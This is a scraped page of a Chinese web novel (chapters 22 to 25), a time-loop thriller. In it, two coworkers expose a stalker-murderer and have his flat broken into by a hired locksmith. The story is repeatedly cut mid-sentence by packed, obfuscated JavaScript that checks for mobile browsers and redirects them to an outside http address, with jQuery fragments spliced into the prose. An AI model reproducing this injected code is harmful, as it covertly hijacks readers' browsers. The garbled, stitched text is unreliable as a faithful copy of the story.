见两人答应的很爽快，她也不打算再多耽误时间，眼看现场收拾的差不多了，便带着两人坐上警车，前往派出所。 跟在方警官身后时，秦屿小小声的跟辛琪吐槽着：“为什么又要我们去啊，会不会又搞得跟上次一样……” 辛琪叹了一口气：“按这位警官的性格来说，我们只要报了警就躲不过的。” 他们得到了她多疑的好处，自然也要承担方警官多疑的坏处。 只要他们无法给出报警的正当理由，那么这位警官就会怀疑他们报警的目的，将他们带去派出所好好询问。 可惜时间太过紧急，两人根本来不及思考太多。 辛琪的公司离这附近的派出所并不算太远，即便现在车流量还是很大，但大约过了二十分钟后，警车便顺利地载着他们来到了派出所门口。 他们的车在何成康那辆车的后面。 两人透过车窗看到何成康被押解进入派出所后，才打开车门下了车。 跟上回的流程一样，方警官没收了他们的所有个人物品，然后将他们两人分别带入了两间询问室。 辛琪依然是由方警官亲自审问的。 方警官进入询问室时，也跟之前一样语气温和地问辛琪：“来得这么急，吃晚饭了吗？” 辛琪耸耸肩：“正要吃呢，外卖都已经到我家门口了，但是时间太赶了没办法。” “那我给你拿一盒我们派出所的晚饭来？” 辛琪这次没有拒绝，她知道，她要在这里待上很久。 晚饭也跟上次的菜色一样，二荤二素外带一份例汤。 辛琪很快吃完了那一份饭，一个年轻警员将桌上的残渣收拾了，方警官便开始了这一次的询问。 “你报警说何成康身上携带危险物品，但我的同事们并没有发现他身上有什么奇怪的东西。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711324|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你还有印象你到底看到了什么吗？” 辛琪假装思考了一会儿，然后摇摇头：“我不记得了，我只看他藏在衣服里，行为也鬼鬼祟祟的。” “鬼鬼祟祟？”方张警官问，“能具体说说吗？他到底做了什么？” “他去了一趟厕所，”辛琪眼也不眨地撒谎，“回来的时候我观察到他衣服鼓了一块包，表情也很奇怪。” “他是什么时候去的厕所？” “没注意时间。” “那他回来你也不问问他？” “我们只是同事，我不想干涉别人的私事。” 方警官翘起嘴角：“不想干涉别人的私事……所以你把人送进了派出所？” 辛琪嘴唇一抿：“我后来越想越不对劲，万一他真的藏了什么，而我瞒而不报，岂不是害了公司所有人？” 她表现的就像一个热心的普通人，方警官道：“你这一想想得也太久了吧，晚上八点才报警，要是他真的想干什么坏事，应该不会等到现在。” “我生病了，回家去睡了一觉，等我醒来才想起这事。” “睡了一觉？”方警官音量陡然增大，“出了这种事，你还有心情睡觉？” “我只是——” 辛琪还想辩解什么，方警官突然将她的话打断，她一双眼睛紧紧盯着辛琪。 “老实说，我现在很怀疑你报案的动机。” “你知道报假警浪费警力是什么后果吗？” 辛琪和那双眼睛对视着，她不知道，因为上一回方警官还没为她解释，她就迎来了新的循环。 她并没有开口。 见恫吓的差不多了，方警官继续说：“我想你现在应该可以告诉我，你报警的真实目的了吧？” “现在吐露实情的话还来得及。” 其实辛琪的目的很简单，她只是在测试着逃脱循环的方法。 ——如果找出凶手还不够的话，那么把何成康控制住，甚至将他送入派出所，会不会让他们结束这一次循环？ 虽然何成康并不能算是被“绳之以法”，但在什么都还没发生的当下，辛琪便只能采取这样的方式。 在告诉秦屿自己的想法时，秦屿还问过她。 “那万一警察盘问之下，直接把何成康放走了呢？我们岂不是功亏一篑了？” 辛琪当然不能允许这样的事情发生，所以她早就想好了应对的方法。 此刻，她面对着方警官，缓慢的出声：“方警官，你听说过时间循环吗？” “时、间、循、环？” 顶着方警官诧异的表情，辛琪为她解释了一切的来龙去脉。 方警官一开始还听得很认真，到后面则是带了一种无语且略带同情的表情。 辛琪还特意补充了一句：“这件事秦屿和何成康都知道，你可以问问他们。” 有了上一次的经验，辛琪很明白方警官听了自己这一番话后会做出什么反应。 她突然拿起了手机开始打字。 “方警官，你在找精神科医生吗？”看着方警官的手机，辛琪道，“这一次找了三个？” 方警官抬起头来诧异地望着她，好像在说她怎么会知道。 眼见自己的猜想成真，辛琪一心中一喜。 上一回精神科医生是十二点来的，这一回医生只会来的更晚。 ——足以让她测试出，当她把凶手关进派出所时，新的循环还会不会再次来临。 23. 第二十三章 “咚、咚、咚……” 当熟悉的声音再次响起时，辛琪知道自己又进入了梦里。 抬眼望去，曾经见过的天花板就呈现在她眼前。 被水泅湿的墙面，生了绿色苔藓的墙角，每一处都跟她曾经在梦中见过的一模一样。 切肉的声音在耳边不曾断绝，这是何成康又在将她“分尸”了。 或许有了第一次的经验，辛琪心中已没有多少恐慌。 她睁着双眼，听着自己被“分尸”，静心等待这一场梦境结束，然后从睡梦中醒来。 她只想确认循环到底有没有结束。 不知是否因为现在在梦中，辛琪的思绪很混乱，她记不清睡着之前发生了什么，也不记得自己是正常入睡……还是迎来了新的循环。 “咚咚”声停止了，何成康跟之前一样起身，来到她身子的另一侧。 他将她的脑袋轻轻掰动，让她的眼睛朝向窗边，然后继续开始“分尸”。 辛琪已经是一具“尸体”，她没有办法挪动瞳孔，只能看着自己窗户上的倒影。 跟之前一样，腰部以下只剩臀部，双腿的位置空空荡荡，应该是被何成康成功剥离了。 再看看自己的上半身，居然还是完好无损的，每一个部件都待在它应有的位置，大概是何成康还没切割到那里。 不过何成康也算是一个讲究“仪式感”的人，他将她的双手交叠起来，放在了腹部的位置。 要不是辛琪睁着一双眼睛，又失去了下半身，在别人看来她根本不像一具尸体，只像是一个睡着了的人。 但这般安详而恬静的“睡姿”，很快被何成康破坏了。 他轻柔地牵起她一只镶着精美长指甲的手，再将它放到地上，然后“咔嚓”一刀利落地斩下去。 整个过程被辛琪尽收眼底，可以说她亲眼见证了自己是如何被何成康分尸的。 她愣怔地看着自己仅剩的另一只手，但她却并没有产生恐惧或者害怕这样的情绪。 辛琪心中只有惊讶和纳罕。 ——自己什么时候做了美甲了？ 这几年美甲在互联网上很盛行，尤其是那种花里胡哨的长指甲，特别受到大家的青睐。辛琪曾经也动过心，但考虑到做了美甲不太方便工作，她便歇了这个念头。 所以她十分肯定，自己的十只手指头上白白净净，没有一点装饰。 她心中升起一个荒谬的念头。 难道是那个何成康已经变态到……分尸之前先给她贴甲片？ 但那有什么用呢，他最终还是要把她的身体一块一块地切割下来不是吗？ 正当辛琪脑海里思绪万千时，何成康将她的头掰回了原位。 何成康第二次起身，这一次他的手里提着一截小腿，小腿的断面正对着辛琪的眼睛。 上一次做梦时，因为辛琪处在恐慌之中，所以她并没有看清这一截小腿。 现在她细细一看，发现这截腿脚上的指甲也被装饰的鲜艳夺目，更重要的是她发现小腿侧边有一块黑痣。 这个黑痣点在雪白的肌肤上，看起来尤为显眼，也让辛琪想到一个很重要的事。 自己的小腿……好像并没有黑痣吧？ 手指甲和脚指甲还有可能是何成康的杰作，但何成康不可能在腿上特地点个痣吧？ 其实辛琪一直很不解，自己的梦为什么是在一间陌生的屋子里被何成康分尸？ 据秦屿所说，何成康将她杀死之后，便从她的屋子里离开了，她就算做梦，也应该梦见在自己的客厅里被何成康分尸才是，梦中怎么可能会出现一间她从没见过的屋子呢？ 辛琪脑子里出现一个大胆的猜想。 该不会现在在这间陌生屋子里的、被何成康正在分尸的……不是她的尸体吧？ 如果这个猜想正确的话，那么这个被分尸的女人到底是谁呢？ 她到底进入了谁的梦境里呢？ …… 辛琪清醒过来的时候，她看到自己眼前出现了一张大大的笑脸。 她吓了一跳，下意识的将身子往后一退，然后感觉背后靠上了一片软软的东西。 辛琪猛地回过头去一看，发现原来只是椅背。 她将身子转了回来，又发现刚刚那张大大的笑脸其实是手机屏幕上出现的画面。 此时画面还在不断播放，那笑脸早已不见，辛琪突然想起，这是她之前吃饭时找的下饭综艺。 那外卖员送来的饭就摆在手机前，从那饭的形态来看，辛琪并没有吃上几口。 辛琪退出综艺，看到屏幕显示21:00。 对了，这个周五，她在床上睡到晚上八点左右就醒来了，九点的时候她正对着综艺吃饭。 所以她现在才会出现在餐桌上。 所以……她又迎来了新的循环，把何成康控制起来关进派出所这个方法并不能破除循环。 客厅大门被人敲响，辛琪打开门一看，门外站着的人正是秦屿。 秦屿紧皱眉头，以一副不安的神色看着她：“……我们该怎么办？” 辛琪明白他问的是什么。 如果把何成康关进派出所都没用的话，那他们要怎么跳出循环？ 辛琪垂着眼没有回答这个问题，只是把人默默请进了屋子里。 “会不会……会不会我们找错了人？何成康他不是凶手？” 进屋之后，秦屿对辛琪说道。 辛琪摇摇头：“他就是凶手，否则无法解释为什么前两次循环他都急急忙忙地逃跑了。” “那我们要不要再去一趟公司，先把人抓住再说？” “从这里赶过去至少需要十分钟，那个时候何成康恐怕早就跑得没影了，”辛琪再次摇头，“没有警察的力量，我现在赶过去根本抓不到人。” “就算再报一次警，结果也是跟上一次的循环一样。” 算上这一次，他们也只剩最后三次循环了，辛琪不想再重蹈覆辙，白白浪费一次循环的机会。 秦屿整张脸彻底垮了下来：“那我们到底该怎么办啊……” “好不容易找到凶手了，也把人送去派出所了，为什么还把我们困在时间循环里啊？” “不会真的要我们把凶手杀了才行吧？” 辛琪没答话，她觉得这个可能性其实不大。 杀人这事虽然要面临巨大的风险，但是它本质不太难，何成康不就轻而易举的上门把辛琪给杀死了吗？ 她认为根本没必要用时间循环来达成杀何成康的目的，这事不需要时间循环也能做到。 作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711325|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为被时间循环挑中，有机会改变自己结局的“幸运儿”，辛琪总觉得这神秘的力量一定是希望她完成别的什么事。 具体是什么事呢？辛琪不知道，她唯一知道的就是，这绝对跟何成康脱不了干系。 跟秦屿面对面想了半天，最后辛琪只憋出了一句：“要不去何成康家里看看？” 既然关键还在何成康身上，那么他们只能去继续调查何成康。 在这个城市里，与何成康关系最密切的除了公司，就是他现在住的地方了。 秦屿也想不出别的方法，点点头答应了。 辛琪并不知道何成康的地址，只好找了公司同事打听，她随便找了个理由说找何成康有事，同事虽然有些疑惑，但想起她平时和何成康走得近，便将地址告诉她了。 两人下了楼，离开小区，便打了一辆车直奔向何成康的住所。 何成康住的位置比较偏僻，大约过了半小时，司机才载着两人到达了小区门口。 两人下车打量了一下四周，发现这是一个有了些年头的小区，低矮的楼层、发灰的墙面和斑驳的大门无一不显示着它的陈旧，它被一幢幢高楼包围在其中，看起来十分格格不入。 这里的管理也很松散，大门大喇喇地敞开着，两人进入小区时，门卫只顾着听广播，都没递给他们俩一个眼神。 同事提供的地址似乎在这小区的深处，两人边辨认着楼房上写的数字，边往里走去。 小区里的路灯也跟摆设没什么区别，它只能照亮周围一小块地方，这使得整个道路黑漆漆的，两人不得不将行走的速度放慢了些。 “这地方……交通不便，环境也马马虎虎，何成康干嘛把房子租在这里？”秦屿不解道。 “也许是他工作不久，钱不够？”辛琪猜测。 “那他可以跟人合租啊，干嘛一定要整租一整套房子？” 辛琪也不太能理解，于是耸耸肩没再开口了。 这小区虽然老，但好在建筑面积小，两人很快找到了何成康住的那栋楼。 楼下的单元门虚掩着，辛琪轻轻一推，将门打开，和秦屿一起进入了楼房中。 楼房中安装了电梯，两人进入电梯中，很快到达了何成康所在的六楼。 这里一层楼有六户人家，只是大概许多人都搬了出去，辛琪看到几个大门上被贴满了小广告，无人过来清理。 辛琪带着秦屿站在604的门前，这里就是何成康的住址了。 从门缝看过去，屋子里漆黑一片，何成康并没有在家里。 辛琪想，这个时候他也应该不敢回家。 但是没人在家的话，要怎么进去就成了一个难题。 “要不……我来试试撞撞门？”秦屿道。 辛琪略带怀疑地看着他：“你确定？” 秦屿一点头，“嘭”一声全身用力地撞在了门板上，他顿时疼得龇牙咧嘴，但那扇门却是□□无比，连一丝晃动都不曾有。 “嘶……”秦屿咧着嘴说，“我看电视里演的不都是这样吗？用力一撞，门就开了。” “电视是电视，现实是现实，”辛琪无奈地摇头，“还是交给专业人士吧。” “专业人士？” 辛琪没答话，只将目光缓缓移动到了另一扇大门上。 24. 第二十四章 秦屿顺着辛琪的目光看过去，他发现辛琪其实看的不是门，而是门上那些贴得密密麻麻的小广告。 上面什么广告都有，修电器的、帮忙搬家的、修水管的、开锁的…… 秦屿顿时明白了：“你想找上面的开锁工？” 辛琪点点头。 一般来说开锁工需要在警局备案，也不会轻易给人开门，但这小广告上面的就不一样了，都是些野路子，他们只管赚钱，才不管你是不是这家的主人。 再说了，现在这个年代也几乎没人会去撬锁盗窃了。 辛琪随便挑了一个电话打过去，师傅在电话那头语气很热情，答应了在半个小时之内就上门。 两人便站在门口等着。这栋楼房果真是冷冷清清，等待开锁工来的期间，这电梯几乎就没什么人用过，一直平静地停在一楼。 这使得两人更为疑惑何成康把房子租在这儿的理由了，这里除了便宜之外好像没有一丝优点。 大约过了二十多分钟，开锁工终于来了，他外表看着也和善，跟两人简单打了个招呼后，就开始研究起何成康大门的锁来。 埋头看了一会，他转头对着两人，面上出现一脸的难色：“这个锁不好搞啊……我看得直接拆了重新装一个。” 两人对视一眼，顿时明白这是开锁工为了多赚钱搞的套路，他们现在急着去房间里调查何成康，便很爽快地答应了开锁工，让他抓紧时间换锁。 开锁工脸带笑意地应了一声，手上开始麻利地干起活来，他的技术很娴熟，大概过了二十分钟，他便把旧锁拆好，又换上新锁了。 他开开关关测试了一下门锁，确认没问题后，对着两人说：“你们看看还有没有问题？” 开锁这事耽误了快一个小时，两人不想再浪费时间，胡乱地看一眼后，秦屿便将钱转了开锁工。 “完全没问题，麻烦您了。” 开锁工收到钱，喜滋滋地坐电梯下了楼。 两人这才走进何成康的屋子里。 一踏入屋子，辛琪便感觉这里面有一股腥味扑面而来，但现在屋子很黑，她什么也看不清，并不知道那是什么东西发出的气味。 她在墙上摸索一番后，打开了客厅的灯。 灯光闪烁了几下，散发着它微弱的光芒，将整间屋子照亮。 映入辛琪眼帘的居然是一个大鱼缸。 这鱼缸就摆在电视机旁边，看起来跟电视机差不多大小，鱼缸里还摆放着假山水草等装饰物，但让辛琪奇怪的是，这么大的鱼缸里却只有几尾小小的鱼苗。 这些鱼苗大概只有辛琪半个手掌长，辛琪不知道那是什么种类的鱼，只看到它们身体呈现深棕色，鱼鳍却是蓝色的，在带着灯光的鱼缸里游动，看起来十分炫目。 秦屿也被鱼缸吸引住了目光：“嗯？这个凶手居然还养鱼？” 辛琪想起他办公室那两条锦鲤，开口道：“这应该是他的爱好吧。” 秦屿“哦”了一声，将目光从鱼缸上挪开，何成康的爱好跟他们没什么关系，他们主要是来看看这里有没有可以帮助他们逃脱循环的线索。 他先环顾了整间屋子，二室一厅的格局，比他现在住的房子大多了。 从大门进去便是客厅，这里只摆放着沙发、电视机、茶几等简单的家具，没什么好看的。 客厅左边是厨房，两人开灯看了一眼，厨房里干干净净，只有几口孤零零的锅摆在灶台上，看来何成康几乎不怎么用厨房。 他们大致扫了一眼后便从厨房里退了出来。 客厅尽头连接着阳台，两人走到阳台上一看，发现晾衣杆上除了几件衣服之外，还晾着一个行李袋。 这行李袋是黑色的，体积很大，辛琪目测长度已经超过了七十厘米。 它应该是才被何成康洗过，辛琪用手指轻轻一碰，发现行李袋还是湿湿的。 除此之外，阳台便没别的东西可以看了。 两人走回屋子里，朝着客厅右边走去，那里有个小走廊，走廊里排布着三扇门，分别是一间厕所和两间卧室。 秦屿先打开了一扇离他最近的门，门里黑漆漆的，他一打开便有灰尘朝他脸上扑过来，害得他打了好几个喷嚏。 他摸索着墙边将灯一开，发现里面堆满了杂物，根本不能住人。 辛琪站在门前往里一瞅：“看来这间房子就何成康一个人住，他干嘛要租个这么大的房子？” 杂物上的灰尘让秦屿有些受不了了，他往外退了几步：“谁知道呢？咳咳……这间屋子里堆的东西太多了，我们要清理出来看看吗？” 辛琪看着那些笨重的旧柜子旧家具，沉默了一会才对秦屿说：“先看看别的地方，要是实在找不到线索我们再看这间屋子里有什么吧。” 秦屿其实也不想搬，听了辛琪的话，他很快点头应下。 两人接着来到了第二间屋子，这间屋子看起来正常许多，秦屿将灯打开，看到屋子里摆了一张床、一个衣柜和一台电脑。 一般来说，电脑里隐藏的信息是最多的，两人简单翻了一下床铺和衣柜后，就按开了何成康的电脑。 很幸运的是，何成康的电脑并没有上锁，他们很轻松的将其打开了。 等待开机动画播放完后，辛琪看到何成康的电脑屏幕上出现了一个女人的侧影。 她端坐在一张办公桌前，阳光从窗户打了进来照在她的脸上，将她衬得柔和美丽。 这本来是极美的一张画面，辛琪看了，却觉得心里止不住的发毛。 因为这屏幕上的女人正是她自己！ 那办公室也是她的工位，上面的摆设跟她记忆中的一模一样。 何成康居然在公司偷拍她……还将她的照片设置成了屏幕背景！ 秦屿也看出了这正是辛琪，他小心地瞥了一眼辛琪，见她脸色不好，便随便点开了桌面上的一个未命名的文件夹。 “我们来看看何成康的电脑里都有些什么吧。” 他点开这个文件夹本是想转移辛琪的注意力，但他没想到的是，这个文件夹一打开，里面顿时弹出了无数张照片！ 这些照片一张一张显示在辛琪眼前，上面的主角正是她自己。 照片有的拍她在走路，有的拍她在和别人交谈，有的拍她在食堂吃饭，有的甚至拍她走入了自家小区…… 拍摄者一定是精心找好了光线和角度，将每一张照片上的辛琪都拍得很美，但辛琪一张张浏览下去，却觉得背脊越来越凉。 看着这些照片时，辛琪觉得自己仿佛就身在画面中。 她在办公室认真工作，旁边的何成康“欣赏”着她这副模样，然后悄悄拍了一张照片。 她在和周姐聊天，笑得很开心，角落里的何成康注视着她的笑容，然后悄悄拍了一张照片。 她下班了，正在往自己家赶，何成康尾随在她身后看着她的背影，然后悄悄拍了一张照片。 …… 他无孔不入地出现在她生活中，尽情窥视着她的一切，辛琪对此却一无所知。 就连此刻，她身在何成康的家中，她都在想何成康也许就在他家的某个角落里，正注视着辛琪，然后对着辛琪拍了一张照片。 “……” 辛琪实在是受不了了，她感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721332|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉胃里一阵翻滚，强烈的呕吐感从身体上涌了出来。 她夺门而出，跑到厕所里，跪在地上对着马桶大吐特吐。 “辛琪！你没事吧？” 秦屿看到她这模样也吓了一跳，当下再也不管什么线索不线索的，急急忙忙的跟着辛琪跑到了厕所。 辛琪晚饭没吃几口，她吐出来的大部分都是水，厕所里弥散里难闻的胃酸味和食物味。 秦屿毫不嫌弃地来到辛琪身后，轻轻拍着她的后背。 等辛琪吐完了，他又从厕所里找到了卫生纸给辛琪递过去。 辛琪擦了一下嘴，将纸巾扔到马桶，按下冲水键，将纸巾和呕吐物一起冲了下去。 秦屿又赶紧扶她到洗手池前漱了口。 嘴里的味道实在难受，辛琪开打水龙头，忙往自己嘴里灌了水再吐出。 等嘴里的味道几乎消失不见时，辛琪才站在洗水池前长舒了口气。 “你好点了吗？”秦屿问她。 “我没什么，”辛琪道，“但要是不让何成康付出点代价，我想我这辈子都不会好过！” “好，等我们破除循环了，我就给何成康套上麻袋打他一顿！”秦屿捏着拳头说。 辛琪笑了：“现在是法治社会，你这样做会坐牢的。” “坐牢就坐牢！”秦屿咬着牙说，“他对你做的事……打他一顿都算是轻的了！” “好！那就打他一顿，”辛琪也道，“就算法律拿他没辙，我也要出一口气！” 两人相视一笑，原本沉闷的气氛因这几句似玩笑似发泄的话为之一扫而空。 但无论怎么样，现在最重要的事还是逃脱循环，秦屿走出厕所，准备继续去查找电脑。 辛琪跟在秦屿后面，正要走出去时，她低头瞥见自己的裤子上多了些红色的印记。 这条裤子是她出门时才换的，她记得很清楚，上面干干净净，什么痕迹都没有。 那这个印记只能是在哪里蹭上的。 是在哪里呢？从家里到何成康家，辛琪的裤子接触过的地方只有…… 她转头看了一下厕所里的马桶，她刚刚就跪在马桶前对着马桶呕吐。 难道那红色痕迹是在这里蹭上的？ 辛琪走近了马桶，蹲在地上仔细看了看厕所上的地砖。 厕所上的地砖是白色的，上面的东西一览无遗，因此辛琪并没有发现什么奇怪的痕迹。 她思考了一会，将目光转移到地砖与地砖的那条缝隙里。 砖缝是黑色的，用肉眼看看不出什么名堂，辛琪于是用指尖轻轻一抹。 她将手指递到自己眼前，果然在指腹上发现了跟裤子上一模一样的红色痕迹。 秦屿见她蹲在马桶前久久不动，便来问她：“你发现什么了吗？” 辛琪不答，她盯着指尖上的红痕，面上一副若有所思的模样。 随即，她眼前一亮，像是想起了什么，从厕所里出来直奔到了客厅里。 秦屿满头雾水的跟在她后面，再一次问道：“所以，你到底发现了什么？” 辛琪就站在客厅中，秦屿见她缓缓将头抬了起来，直直盯着上面的天花板。 秦屿也好奇地跟着往上看。 这栋房子大概年代已久，天花板上出现了大量被水浸湿的痕迹，墙角处还生出了绿色的苔藓。 但这并没有什么奇怪的，很多年久失修的房子都会出现这种状况。 所以辛琪到底是看出了什么门道呢？ 秦屿正疑惑时，突然听到辛琪开口了。 “这样的天花板，我曾经在梦中见到过。” 25. 第二十五章 “梦中？” 秦屿还是不明白辛琪到底是什么意思。 辛琪也没有向他解释，她扫视了整个客厅，然后走到了客厅中央的位置，将身子平躺在地上。 她一平躺下来，双眼便只能直视着天花板，从她的位置看过去，正好能看到天花板上的水渍和墙角处鲜绿的苔藓。 她又将脑袋往阳台的方向转去，一眼便看见窗户上倒映出了自己的影子。 这熟悉的画面……不会错的，梦中的“她”就是躺在这个位置，被何成康一刀一刀地分尸。 此刻躺在地面上，她仿佛还能听着那环绕在耳边的“咚咚咚”声。 她从地上起身，秦屿上前去将她扶了起来。 辛琪的一系列动作看得秦屿越来越迷糊，他再次开口问她：“你是有什么新发现吗？” 辛琪转头面向秦屿，一开口便抛出了一枚重磅炸弹：“何成康杀过人，就在这间屋子里。” 秦屿倒不是很惊讶，他甚至不明白辛琪为什么说起了这个：“……他的确是杀过你，但现在这事不是没发生吗？” 而且辛琪说就在这间屋子里……他记得很清楚，她明明是死在自己家里的。 辛琪摇头：“不是我，他除了我之外，还杀过别人。” 这下倒让秦屿有些吃惊了：“你怎么知道的？” 他们在屋子里才逛了十多分钟，除了那电脑里偷拍的照片之外，也没什么其他可疑的东西，辛琪这就看出来了？ 辛琪先将指尖上的红痕给秦屿看了：“我在马桶前的砖缝里发现的，你看这颜色像不像血？” 秦屿凑近仔细看了，辛琪指尖上的痕迹呈现出一片鲜红的颜色，从肉眼看上去确实很像血迹。 辛琪还在继续说着：“还有阳台上的那个行李袋。” 她指着阳台的方向说：“它体积那么大，又才被何成康清洗过……你不觉得它很有可能被用来装过尸体吗？” 结合马桶前的血迹，这的确很像是何成康先用行李袋装过尸体，等抛尸之后再将行李袋拿到厕所里清洗，让厕所的砖缝里不小心留下了血迹。 但……秦屿觉得这其中还有很多疑问。 “这些只是我们的推测罢了，厕所里的红色痕迹不一定是血迹，行李袋也不一定装过尸体啊。” 他们两个只是普通人，根本没办法判断出他们的推测是不是真的。 “你说的没错，”出乎意料的是，辛琪居然同意了秦屿的说法，“其实让我更确定何成康杀过人的理由是……” “我被死者托过梦，我梦见自己就躺在这里，被何成康一截一截地分尸了。” 辛琪在说这话时语气和平常没什么区别，一样的缓慢而平静。 但不知道是否因为外面的天都黑透了，秦屿在听着这话时，竟然起了一身的寒意。 他拢了拢衣袖，望望四周，仿佛这里有什么不可描述的存在，正用它那双怨毒的眼睛在客厅里盯着他们。 它紧紧跟随辛琪，等到晚上时再潜入辛琪的梦境中，让她亲身体验自己被一块一块分尸的痛苦。 “会不会……”话一出口，秦屿发现自己的声音都变了，他忙清了清嗓子，“会不会是你想多了，那只是一个梦而已……” “可我梦见两次了，”辛琪反驳道，“而且梦中的场景我记得无比清楚。” 她指着天花板：“甚至这上面的水渍和苔藓我都记得。” 每个人都做过梦，梦中的一切都是很朦胧模糊的，脑子不可能将每一个细节都搭建的尽善尽美。 但像辛琪这样，连天花板的细节都跟真实场景一模一样的情况……就很值得人细究了。 可是，死者托梦？ 这么离谱的事真的会发生吗？ 真的有死人会给活人托梦，以此来伸张正义吗？ 秦屿脑中出现这个疑问时，他勾起嘴角自嘲地笑了笑。 连他自己都遇上了时间循环这样更离谱的事，死者托梦又算得了什么？ 说不定辛琪梦到的一切都是真的，何成康真的在这里杀过人，还把人残忍地分尸了。 秦屿想到这里，突然福至心灵，他在思考这会不会就是逃脱循环的关键？ 毕竟除此之外，何成康身上似乎没什么别的东西可挖了。 秦屿是个中二少年，平时看了很多奇幻冒险题材的影视剧，他越想越觉得自己的猜测是正确的。 这事不仅跟何成康有关，死者还搞得“声势浩大”的，两次给辛琪“托梦”，秦屿很难不怀疑它就是最终的谜题。 如果这真的就是跳出循环的关键，那现在他们该做的事……是要证明何成康真的杀了人。 但是该怎么证明呢？ 秦屿看了看阳台上的巨大行李袋，又看了看辛琪指尖上的红色痕迹。 其实物证已经被他们找到了，只需要证明行李袋装过尸体，红色痕迹是人血就足够给何成康定罪了。 但凭他们两个人肯定是做不到这一点的。 秦屿告诉了辛琪自己的猜测，又提出了疑问，辛琪还是那句话：“专业的事要交给专业的人做。” 为今之计，最好的方法就是报警了。 他们无法证明，警察总有办法吧？ 秦屿觉得很有道理，点点头掏出手机准备按下110报警，但他才刚把手机解锁，两人忽然听到大门传来了敲门声。 “嘭嘭嘭——” 这敲门声剧烈又急促，门外的人像是很着急着要进来。 辛琪和秦屿对视一眼，都从彼此的眼神中看出了疑惑。 这大晚上的，有谁会来何成康的家里？ 总不会是何成康本人吧，先不说他敢不敢回家，就算他回家了第一件事应该是拿钥匙开门，而不是使劲在这敲门吧。 难道是何成康的什么亲戚朋友来找他了？ 两人正惊疑不定之时，门外的人开口了：“你好，我们是物业上门检查天然气的，麻烦开一下门。” 听到这声音响起，他们眼中的疑惑更加深了。 但他们并不是疑惑为什么这么晚了还有物业上门检查天然气，而是这门外的声音他们很熟悉！ 这分明是方警官的声音！ 所以现在在门外的是警察？ 秦屿看了一眼自己的手机，110确实还没拨出去啊，警察怎么突然来了何成康家里？ “会不会是……警察也发现何成康杀人的事了？”秦屿在辛琪耳边小声说道。 辛琪也不太确定：“先开门看看？” 他们跟方警官打了很多次交道，所以很信任她，秦屿没作多想地走到大门前将门给打开了。 方警官就站在门外。 门外的走廊很黑，屋子里射出一道光线照在了她的脸上。 秦屿注意到她只穿着便服，身后还跟着三四个人，这些人秦屿都很眼熟，他们都是方警官手下的年轻警员。 方警官木着一张脸， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739979|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用锐利的目光先打量了一下屋里的秦屿和辛琪，然后开口问秦屿：“你是何成康吗？” 方警官是来何成康的？看来她多半就是为了凶杀案而来的。 秦屿这样想着，摇了摇头：“我不是。” “不是？”方警官将眉头皱起，她又看了秦屿几眼，接着突然转头看向了自己的身后。 她对身后的人说道：“你来认一下，是不是这两个人？” 狭小的门框里再次挤入一个人，他看了看辛琪和秦屿后，便不住地点头说：“就是他们！” 那人长得很和善，且辛琪和秦屿都是见过的，他就是之前帮他们开锁的开锁工。 看到开锁工出现在方警官身旁，辛琪顿时想到了什么，她脸色一变，还没来得及开口，便见方警官身后的几个人迅速冲进了屋子！ 辛琪和秦屿还在发愣，几个年轻警员很快靠近了他们，将他们的双手给扣起来，直接把人按到了墙上。 秦屿下意识地挣扎了一下，但见自己挣脱不开，他嚷道：“方警官，你这是在干嘛啊？！” 方警官步入屋内，对着两人肃声开口：“你们两人涉嫌私闯民宅，请跟我们去派出所一趟吧。” 私闯民宅？ “我们没有……” 秦屿听了这话正要反驳，辛琪连忙用眼神制止了他。 虽说他们是来调查何成康的，但用的方法……的确跟私闯民宅没什么两样。 看见两人被抓住了，那开锁工还在嘀咕着：“我就说不对劲吧？哪有我说要换锁还答应得那么爽快的人？甚至都不讲一下价，他们肯定不是住在这里的！” 辛琪&秦屿：…… 第一次因为给钱过于爽快而被怀疑了。 